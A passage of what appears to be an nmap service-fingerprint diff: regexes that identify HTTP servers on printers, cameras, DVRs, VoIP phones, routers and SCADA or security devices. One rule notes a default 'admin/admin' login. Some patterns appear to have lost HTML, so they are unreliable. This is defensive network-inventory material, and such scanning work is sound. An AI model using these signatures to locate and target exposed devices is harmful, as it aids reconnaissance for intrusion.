realm=\"WebPidginZLoginDigest\", nonce=\"[0-9a-f]+\", opaque=\"0000000000000000\", stale=false, algorithm=MD5, qop=\"auth\"\nConnection: close\nContent-type: text/html\n\n\n\n$| p/WebPidgin-Z instant messaging interface/ v/$2/ i/time zone: $1/ + +match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*?"name" : "([^"]+)",\n "cluster_name" : "([^"]+)",(?:\n "cluster_uuid" : "[^"]*",)?\n "version" : {\n "number" : "([\w._-]+)",.*"lucene_version" : "([^"]+)"\n },\n "tagline" : "You Know, for Search"\n}\n|s p/Elasticsearch REST API/ v/$3/ i/name: $1; cluster: $2; Lucene $4/ cpe:/a:apache:lucene:$4/ cpe:/a:elasticsearch:elasticsearch:$3/ +match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*?"name" : "([^"]+)",\n "cluster_name" : "([^"]+)",(?:\n "cluster_uuid" : "[^"]*",)?\n "version" : {\n "number" : "([\w._-]+)",.*"lucene_version" : "([^"]+)"|s p/Elasticsearch REST API/ v/$3/ i/name: $1; cluster: $2; Lucene $4/ cpe:/a:apache:lucene:$4/ cpe:/a:elasticsearch:elasticsearch:$3/ +match http m|^HTTP/1\.0 \d\d\d [\w ]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*"name" : "([^"]+)",(?:\r?\n "cluster_uuid" : "[^"]*",)?\r?\n "version" : {\r?\n "number" : "([^"]+)",.*"lucene_version" : "([^"]+)"}|s p/Elasticsearch REST API/ v/$2/ i/name: $1; Lucene $3/ cpe:/a:apache:lucene:$3/ cpe:/a:elasticsearch:elasticsearch:$2/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm="([^"]+)"(?:[^\r\n]*\r\n)*?\r\n\{"error":\{"root_cause":\[\{"type":"security_exception","reason":"missing authentication token for REST request \[/|s p/Elasticsearch REST API/ i/Shield plugin; realm: $1/ cpe:/a:elasticsearch:elasticsearch/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Digest realm="([^"]+)",nonce="[\da-f]{32}"\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 19\r\n\r\nUnauthorized access| p/Elasticsearch REST API/ i/realm: $1/ cpe:/a:elasticsearch:elasticsearch/ + +match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"NETWORK\"\r\nContent-Type: text/html\r\nServer: Lancam Server\r\n\r\n| p/American Dynamics EDVR security recorder/ d/security-misc/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Muratec Server Ver\.([\w._-]+)\r\n.*Administration tool for IF-300\r\n|s p/Muratec IF-300 network module http config/ v/$1/ i/for F-320 printer/ d/printer/ cpe:/h:muratec:f-320/ cpe:/h:muratec:if-300/ +match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?Server: Muratec Server Ver\.([\w._-]+)\r\nWWW-Authenticate: Basic Realm=\"Pages for SERVICE PERSON\"\r\nContent-Type: text/html\r\nContent-Length: 51\r\n\r\n

          401 Unauthorized

          $|s p/Muratec F-320 printer http config/ v/$1/ d/printer/ cpe:/h:muratec:f-320/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: RedTitan-eNterpriseQueue/([\w._-]+)\r\n.*Enterprise Portal\r\n|s p/RedTitan-eNterpriseQueue/ v/$1/ i/RedTitan Print2PC parallel-to-USB bridge/ d/bridge/ cpe:/h:redtitan:print2pc/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: UPnP/1\.0\r\n.*HDHomeRun\r\n.*
          Model: ([\w._-]+)
          Device ID: ([\w._-]+)
          Firmware: ([\w._-]+)
          |s p/SiliconDust HDHomeRun $1 DVR http config/ v/$3/ i/device ID: $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?S[eE][rR][vV][eE][rR]: HDHomeRun/1\.0\r\n.*
          Model: ([\w._-]+)\n?
          Device ID: ([\w._-]+)\n?
          Firmware: ([\w._-]+)\n?
          |s p/SiliconDust HDHomeRun $1 DVR http config/ v/$3/ i/device ID: $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ +# http://www.ibm.com/developerworks/systems/library/es-nweb/index.html +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\r\nnweb\r\n| p/IBM nweb/ cpe:/a:ibm:nweb/ +match http m|^HTTP/1\.0 504 Gateway Timeout\r\nPragma: no-cache\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n\r\nConnection to server failed \(Connection actively refused by the server\.\)

          {600}| p/Kerio WinRoute http proxy/ o/Windows/ cpe:/a:kerio:winroute/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .*\r\nX-Cascade: pass\r\nContent-Type: text/html\r\nContent-Length: 409\r\n\r\n\n\n\n \n\n\n

          Sinatra doesn't know this ditty\.

          \n \n
          \n Try this:\n
          get '/' do\n  \"Hello World\"\nend
          \n
          \n\n\n$| p/Sinatra web framework built-in httpd/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n(?:[^\r\n]+\r\n)*?Server: webcam 7\r\n\r\n|s p/webcam 7 httpd/ o/Windows/ cpe:/o:microsoft:windows/ +match http m|^HTTP/1\.1 301 Movprm\r\nLocation: https://[\d.]+/\r\nContent-Length: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n$| p/Konica Minolta bizhub 423 printer http config/ d/printer/ cpe:/h:konicaminolta:bizhub_423/ +match http m|^HTTP/1\.1 302 Moved Temporarily\r\nServer: Catwalk\r\nDate: .*\r\nLocation: https://null:8443/\r\nContent-Length: 0\r\nConnection: close\r\n\r\n$| p/Catwalk/ i/Canon imageRUNNER C5000-series printer http config/ d/printer/ cpe:/h:canon:imagerunner_c5000/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nExpires: .*\r\nCache-control: private\r\nContent-type: text/html\r\n\r\n
          SoftwareERF-Gateway V([\w._-]+)
          Compilation Date(\d\d/\d\d/\d\d)

          Enistic Smart Energy Controller

          | p/Enistic Smart Energy Controller httpd/ d/power-misc/ +match http m|^HTTP/1\.1 401 Unauthorized\nWWW-Authenticate: Basic realm='unRAID SMU'\n$| p/Lime Technology unRAID Server httpd/ v/4.X/ d/storage-misc/ cpe:/o:lime_technology:unraid_server:4/ +# http://code.google.com/p/unraid-unmenu/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nPragma: no-cache\r\nCache-Control: private, max-age=0\r\nDate: .*\r\nExpires: -1\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nRefresh: 60; URL=\r\n\r\n[0-9a-f]+\r\n([\w._-]+) unRAID Server| p/Lime Technology unRAID Server Unmenu http config/ d/storage-misc/ h/$1/ cpe:/o:lime_technology:unraid_server:4/ +match http m|^\0\0\0\0\x81HTTP/1\.0 403 Forbidden\r\nServer: ServletExecAS/([\w._-]+)\r\nContent-type: text/html\r\n\r\nRequests from [\d.]+ are not allowed\.$| p/New Atlanta ServletExec/ v/$1/ cpe:/a:newatlanta:servletexec:$1/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"\"\r\n\r\n$| p/Z-World Rabbit microcontroller httpd/ i/Redline AN-50 wireless bridge http config/ cpe:/h:redline:an-50/ +match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nConnection: Close\r\n\r\n\n\nZyXEL (ZyAIR [\w._-]+)| p/ZyXEL $1 WAP http config/ d/WAP/ cpe:/h:zyxel:$1/ +match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: 81\r\n\r\n\r\n\r\n\r\n$| p/SolarLog 400e power monitor httpd/ d/power-misc/ cpe:/h:solarlog:400e/ +match http m|^HTTP/1\.1 200 OK\r\naccept-ranges: none\r\ncache-control: no-cache\r\ncontent-type: text/html; charset=utf-8\r\ndate: .*\r\nexpires: 0\r\nserver: Ocsigen\r\n\r\n| p/Ocsigen/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nSet-Cookie: Netio\w+=\w+; path=/\r\n\r\n\n\n(NETIO-\w+) WebControl\n| p/Koukaam $1 power controller http config/ d/power-device/ cpe:/h:koukaam:$1/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Omniture DC/([\w._-]+)\r\nxserver: ([\w._-]+)\r\n| p/Omniture DC/ v/$1/ h/$2/ +# ABS Megacam +# Ubiquity AirCam.v1.1.1 / Airvision v1.1.1 +match http m|^HTTP/1\.0 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 47\r\n\r\n

          File not found

          $| p/GM Streaming Server httpd/ d/webcam/ +match http m|^\n \n \n \n \n \n \t
          \n \n \n \n
          VoIP Router \n| p/Inteno X5669B broadband router/ d/broadband router/ cpe:/h:inteno:x5669b/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nX-Powered-By: PHP/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Server: WMI Http Server\r\n.*Xtreamer Media Server\n|s p/WMI HTTP Server/ i/Xtreamer Pro media server; PHP $1/ d/media device/ cpe:/a:php:php:$1/ +match http m|^HTTP/1\.1 400 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ability Server ([\w._-]+) by Code-Crafters\r\n|s p/Code Crafters Ability httpd/ v/$1/ cpe:/a:code-crafters:ability_server:$1/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: NET-DK/([\w._-]+)\r\n.*\n\n\n\n\n|s p/NET-DK/ v/$1/ i/Motorola SB5101 or SB6120 cable modem http config/ d/broadband router/ cpe:/h:motorola:sb5101/ cpe:/h:motorola:sb6120/ +match http m|^HTTP/1\.0 401 Unauthorized\n.*Server: SAINT/([\w._-]+)\n.*\n\nBad client authentication code\n\n\n\n

          Bad client authentication code

          \nThe command: GET / HTTP/1\.0\r\n was not properly authenticated\.\n\n\n$|s p/SAINTexploit http interface/ v/$1/ +match http m|^HTTP/1\.0 200 OK\n.*Server: SAINT/([\w._-]+)\n.*SAINT Login|s p/SAINTexploit http interface/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nCache-Control: no-cache\r\n\r\n



          LevelOne (GSW-\w+)| p/LevelOne $1 switch http config/ d/switch/ cpe:/h:levelone:$1/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\n\n|s p/Port25 Solutions PowerMTA http status/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: WebServer\(IPCamera_Logo\)\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nConnection: close\r\nLast-Modified: .*\r\nCache-Control: max-age=60\r\n\r\n\xef\xbb\xbf| p/Maygion IPCamera http interface/ i/RTSP on same port/ +# Verizon FIOS? +match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest realm=\"IgdAuthentication\", domain=\"/\", nonce=\"\w{35}=\", qop=\"auth\", algorithm=MD5, opaque=\"5ccc09c403ebaf9f0171e9517f40e41\" \r\n\r\n| p/TL-069 remote access/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nConnection: close\r\nContent-Length: 0\r\nWWW-Authenticate: Digest realm=IgdAuthentication, domain=\"/\", qop=\"auth\", algorithm=MD5, nonce=\"\w{9}\"\r\n\r\n| p/TL-069 remote access/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 23\r\nServer: MySQL Aggregator\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"CTA\"\r\nContent-Type: text/plain\r\n\r\nAuthorization required\n| p/MySQL Enterprise Agent Aggregator/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nCache-Control: no-cache \r\nServer: Bukkit Webby\r\nConnection: Close\r\n\r\n| p/Bukkit Webby Minecraft http admin/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: /console/index\.html\r\nConnection: close\r\nDate: .* GMT\r\n\r\n$| p/JBoss Administrator/ +match http m|^HTTP/1\.1 200 OK\r\nCache-Control: max-age=0\r\nPragma: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nX-UA-Compatible: IE=Edge\r\nConnection: close\r\nSet-Cookie: web_session_id=\w+; path=/; HttpOnly; \r\n\r\n.*PA Server Monitor|s p/Power Admin Server Monitor http admin/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: SentinelKeysServer/([\w._-]+)\r\nMIME-Version: 1\.1\r\nContent-Type: text/html\r\n| p/SafeNet Sentinel Keys License Monitor httpd/ v/$1/ i/Java Console/ cpe:/a:safenet-inc:sentinel_keys_server:$1/ +# The version numbers don't line up. Need more info or more fingerprints to figure out. +# Also, this matches 4 or 5 different services within CloudView. No further info. +match http m|^HTTP/1\.0 \d\d\d .*\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: .*\r\nDate: .*\r\nHost: 0\.0\.0\.0\r\nServer: NG/6\.0\.16943\r\n| p/Exalead CloudView/ v/5.1.12.31472/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .*\r\nEtag: .*\r\nServer: ngconvert/6\.0\.16943 edoc/1\.4\.36592 \(BUILD=6\.0\.16943;EDOC=1\.4\.36592;AUTOMIME=1\.03;CONFEX=0\.153;XPDFTEXTLIB=3\.02\.24\)\r\n\r\n| p/Exalead CloudView/ v/5.1.12.31472/ + +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?\r\n\n\n\n
          pageok
          \n\n$|s p/GoDaddy error/ +match http m|^HTTP/1\.1 400 Bad Request \(5\)\r\nServer: httpd\r\nDate: .*\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n| p/Cisco small business router VPN/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: HTS/tvheadend\r\nCache-Control: no-cache\r\nWWW-Authenticate: Basic realm=| p/Tvheadend http config/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.0 400 Bad Request\r\nDate: .* ([+-]\d+)\r\nContent-Length: 0\r\nServer: com\.novell\.zenworks\.httpserver/([\w._-]+)\r\n\r\n| p/Novell ZENworks httpd/ v/$2/ i/time zone: $1/ cpe:/a:novell:zenworks:$2/ +match http m|^HTTP/1\.0 200 OK\nContent-type: text/plain\n\nTable: Links\nLocal IP\tRemote IP\tHyst\.\tLQ\tNLQ\tCost\n| p/olsrd txtinfo plugin/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nDate: .*? ([A-Z]+)\r\nExpires: .*\r\n\r\n.*

          DVR (\w+) WatchDog \(([\w._-]+)\)

          |s p/March Networks $2 DVR http config/ i/time zone: $1/ h/$3/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Speclab WebServer/([\w._-]+) (Instinct-\d+ Release \d+)\r\n|s p/Speclab WebServer/ v/$1/ i/Goal $2/ +match http m|^HTTP/1\.1 200 OK\r\nMIME-Version: 1\.0\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n {332}\n\n\t.*|s p/SOGo groupware http interface/ i/build: $1/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close \r\nContent-Type: text/html\r\nCache-control: no-cache\r\n\r\n.*top\.location\.href=\"login_page\.html\";Paradox IP Module|s p/Paradox security system IP module httpd/ d/security-misc/ +match http m|^HTTP/1\.1 200 OK\r\nServer: WIBU-SYSTEMS HTTP Server/ Version ([\w._-]+) vom \d+\.\w+\.\d+\r\n| p/Wibu CodeMeter httpd/ v/$1/ i/German/ +match http m|^HTTP/1\.1 200 OK\r\nServer: WIBU-SYSTEMS HTTP Server/ Version ([\w._-]+) of \w+/\d+/\d+\r\n| p/Wibu CodeMeter httpd/ v/$1/ i/English/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Length:\d+\r\nContent-Type:text/html\r\nConnection:close\r\n\r\n

          Mendeley Desktop

          | p/Mendeley Desktop httpd/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nLast-Modified: \d+/\d+/\d+ \d+:\d+:\d+ [AP]M\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\r\n\r\nHomeWorks Illumination Web Keypad| p/Lutron HomeWorks web keypad/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: \d+\r\nCache-Control: no-cache\r\n\r\nUnified Protocol version ([\d.]+)| p/Samsung CLP printer httpd/ i/Unified Protocol $1/ d/printer/ +# BIND 9.5 or later +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/xml\r\n(?:[^\r\n]+\r\n)*?Server: libisc\r\n.*|s p/BIND stats httpd/ i/XML statistics version $1/ cpe:/a:isc:bind/ +match http m|^HTTP/1\.1 200 OK\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n.*\r\n\r\n\r\n\t\r\n\t|s p/LANDesk html5 remote control/ cpe:/a:landesk:landesk_management_suite/ +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 345\r\nConnection: close\r\nDate: .*\r\nServer: Swift1\.0\r\n\r\n| p/Samsung Swift httpd/ v/1.0/ d/media device/ +match http m|^HTTP/1\.1 200 OK\r\nSERVER: HDHomeRun/([\w._-]+)\r\n.*
          Model: ([\w._-]+)
          Device ID: [\w._-]+
          Firmware: ([\w._-]+)
          |s p/Silicondust HDHomeRun set top box http config/ v/$1/ i/model: $2; firmware: $3/ d/media device/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: NSG\r\nWWW-Authenticate: Basic Realm=Security\r\n| p/Harmonic NSG QAM video delivery httpd/ d/media device/ +match http m|^HTTP/1\.0 302 Redirect\r\nServer: Httpd/1\.0\r\nDate: \w+ \w+ +\d+ \d+:\d+:\d+ \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http:///login\.asp\r\n\r\n| p/CJ HelloVision DVW-2300N router http redirector/ d/WAP/ +match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Avaya Push Agent Ver x\.x\r\nDate: [A-Z]+ [A-Z]+ \d\d \d\d:\d\d:\d\d \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\n| p/Avaya Push Agent/ d/VoIP phone/ +match http m|^HTTP/1\.0 302 Redirect\r\nServer: GS-Webs\r\nDate: .*\r\nLocation: http://\x07/index\.html\r\n\r\n|s p/Huacam Cyclops IP camera http config/ d/webcam/ +match http m|^HTTP/1\.0 302 Redirect\r\nServer: IP-Phone-Web\r\nDate: [A-Z]+ [A-Z]+ \d+ \d+:\d+:\d+ \d+\r\n| p|TalkSwitch/FortiVoice web manager| d/VoIP phone/ +match http m|^HTTP/1\.1 502 Bad Request\r\nContent-Length: \d+\r\n\r\n\r\n\r\nError 502 - Bad Request
          \r\nThe server could not resolve your request for uri: http://[\d.]+/\r\n\r\n| p/Blackberry phone httpd/ d/phone/ +match http m|^HTTP/1\.1 403 Forbidden\r\nDate: [A-Z]+ [A-Z]+ \d\d \d\d:\d\d:\d\d \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\nDocument Error: Forbidden\r\n\t\t

          Access Error: Forbidden

          \r\n\t\t

          HTTP/1\.0 403 Forbidden\n

          \r\n\r\n| p/Avaya 9670 VoIP Phone httpd/ d/VoIP phone/ cpe:/h:avaya:9670/a +match http m|^HTTP/1\.1 302 Found\r\nLocation: http://([\w._-]+)/\?cfru=aHR0c.*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n\r\nRedirect\r\n\r\n\r\n\r\n
          \r\n
          \r\n
          \r\n
          | p/Cisco 7912G IP Phone/ d/VoIP phone/ cpe:/h:cisco:7912g/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"[\d.]+\", qop=\"auth\", nonce=\"[0-9a-f]+\"\r\n.*BMC HTTP Server\r\n|s p/BMC HTTP Server/ i/HP Integrated Lights-Out remote management/ d/remote management/ cpe:/h:hp:integrated_lights-out/ +match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nLast-Modified: .*\r\nContent-length: \d+\r\n.*RGB VIA Platform Home Page\r\n|s p/BusyBox httpd/ i/RGB Modular Media Converter http config/ d/media device/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"Web UI Access\", nonce=\"[0-9a-f]{32}\", opaque=\"[0-9a-f]{32}\", stale=\"false\", algorithm=\"MD5\", qop=\"auth\"\r\n\r\n$| p/qBittorrent Web UI/ cpe:/a:qbittorrent:qbittorrent/ +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\n\r\n\r\n

          SDR-IP

          by

          RFSPACE

          \r\n\r\n\r\n$| p/RF-Space SDR-IP software radio http config/ d/specialized/ cpe:/h:rf-space:sdr-ip/ +match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nConnection: close\r\nContent-type: text/html\r\nServer: Flumotion/([\w._-]+)\r\n| p/Fluendo Flumotion httpd/ v/$1/ +match http m|^HTTP/1\.0 200 ;OK\r\nServer: \?\?\?\?\?\?\?\?\?\?\?\?\?\?\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n\n\n\nEATON\n| p/Eaton Powerware Environmental Rack Monitor httpd/ d/power-misc/ +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlasma Monitor web control system\r\n| p/Pioneer PRO-141 monitor http config/ d/media device/ cpe:/h:pioneer:pro-141/ +match http m|^HTTP/1\.0 200 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ubicom/([\w._-]+)\r\n.*Microtek WES : Login\r\n|s p/Ubicom/ v/$1/ i/Microtek ML-WES WAP http config/ d/WAP/ cpe:/h:microtek:ml-wes/ +match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length: *\d+\r\n\r\n\n\n\n\n| p/ISPmanager SSL redirector/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nAccess-Control-Allow-Origin: \*\r\nCache-Control: no-cache\r\nContent-type: text/html; charset=utf-8\r\nDate: .*\r\n\r\n\r\nJointSpace| p/jointSPACE TV application framework/ d/media device/ +match http m|^HTTP/1\.1 200 OK\r.*\nlibAbsinthe: (r[\d.]+)\r\n|s p/Legify Absinthe/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Web Server\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?\r\n \r\nNETGEAR ([^<]+)|s p/Netgear $1 http config/ d/switch/ cpe:/h:netgear:$1/a +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"Domoticz\.com\"\r\n\r\n|s p/Domoticz home automation httpd/ +match http m|^HTTP/1\.1 200 OK\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nContent-Type: text/html;charset=UTF-8\r\nAccess-Control-Allow-Origin: \*\r\n\r\n\n\n\n\t\t\n\t\tDomoticz| p/Domoticz home automation httpd/ +match http m|^HTTP/1\.0 302 Redirect\r\nSet-Cookie: mainServerInstance=; path=/\r\nSet-Cookie: CrushAuth=| p/CrushFTP web interface/ cpe:/a:crushftp:crushftp/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nSet-Cookie: mainServerInstance=; path=/\r\nSet-Cookie: CrushAuth=| p/CrushFTP web interface/ cpe:/a:crushftp:crushftp/ +match http m|^HTTP/1\.1 200 OK\r\nServer: pyTivo/([\d.]+)\r\n| p/pyTivo http interface/ v/$1/ d/media device/ +match http m|^HTTP/1\.1 302 FOUND\r\nX-Hue-Jframe-Path: /\r\n| p/Cloudera Hue http Hadoop UI/ +match http m=^HTTP/1\.1 200 OK\r.*\nLiferay-Portal: Liferay Portal (Community|Enterprise) Edition ([^(]+) \([A-Z][a-z]+ / Build (\d+) / [^)]+\)\r.*\nServer: Apache\r\n=s p/Liferay Portal $1 Edition/ v/$2/ i/build $3; Apache Tomcat/ cpe:/a:apache:tomcat/ +match http m|^HTTP/1\.1 401 Unauthorized\nContent-Type: text/html;\nConnection: close\nWWW-Authenticate: Basic realm=\"Default: admin/admin\"\nContent-Length: \r\n\r\nSitecom Multi-Functional USB Server ([^<]+)| p/Sitecom $1 http config/ +match http m|^HTTP/1\.0 200 OK\r\nCache-control: no-cache\r\nPragma: no-cache\r\nExpires: \"[^"]+\"\r\nContent-length: \d+\r\nContent-type: text/html\r\n\r\n\n\nILV701PL Web Configuration - Authentication| p/LEXCOM ILV701PL IPTV receiver http config/ d/media device/ +match http m|^HTTP/1\.0 500 Server Error\nContent-Type: text/html\n\nhaserl CGI Error
          \n\[string \"([^"]+)\"\]:\d+:| p/Haserl CGI wrapper/ i/CGI path: "$1"/
          +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"yhhtpd\r\n| p/Neutrino yhttpd 3.X/
          +match http m|^HTTP/1\.0 200 OK\r\nServer: xLightweb/([\d.]+)\r\nContent-Length: 0\r\nConnection: close\r\nAccess-Control-Allow-Origin: \*\r\nCache-Control: no-cache\r\nAccess-Control-Allow-Headers: device-os, device-mo, app-build, device-id, device-no, device-ip, tracker, sub-id, sid\r\n\r\n| p/xLightweb httpd/ v/$1/
          +match http m|^HTTP/1\.0 200 Document follows\r\nServer: XCD WebAdmin\r\nContent-Type: text/html\r\n\r\n| p/Intermec EasyLAN print server http admin/ d/print server/
          +match http m|^HTTP/1\.1 200 OK\r\nServer: Dump1090\r\n| p/Dump1090 Mode S decoder http viewer/
          +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nLast-Modified: .*\r\nETag: \"[^"]\"\r\nAccept-Ranges: bytes\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n\n| p/Fortinet FortiGate SSL VPN/ d/security-misc/
          +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: qHTTPs\r\n| p/AEG Powersolutions UPS View http viewer/ d/power-device/
          +match http m|^HTTP/1\.1 200 OK\r\nSet-Cookie: sid=[^;]+; path=/; httponly\r\nSet-Cookie: sid\.sig=[^;]+; path=/; httponly\r\nDate: .*\r\nConnection: close\r\n\r\n.*

          Webhook Deployer v([\w._-]+)|s p/Node.js/ i/Webhook Deployer v$1/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nServer: SIMP LIGHT\r\n\r\nSIMP Light web server \[ver\. ([\w._-]+)\]| p/SIMP Light SCADA httpd/ v/$1/ +match http m|^HTTP/1\.[01] 401 Unauthorized\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n(?:Connection: close\r\n)?X-Plex-Protocol: 1\.0\r\n| p/Plex Media Server httpd/ cpe:/a:plex:plex_media_server/ +match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"Linux\" platformVersion=\"(((?:2\.)?\d\.\d+)[^"]+)\" [^>]*version=\"([^"]+)| p/Plex Media Server httpd/ v/$4/ i/friendlyName: $1; OS version $2/ o/Linux $3/ cpe:/a:plex:plex_media_server:$4/ cpe:/o:linux:linux_kernel:$3/ +match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"([^"]+)\" platformVersion=\"([^"]+)\" [^>]*version=\"([^"]+)| p/Plex Media Server httpd/ v/$4/ i/friendlyName: $1; OS version $3/ o/$2/ cpe:/a:plex:plex_media_server:$4/ +# Sometimes the version is too far down the page :( +match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"Linux\" 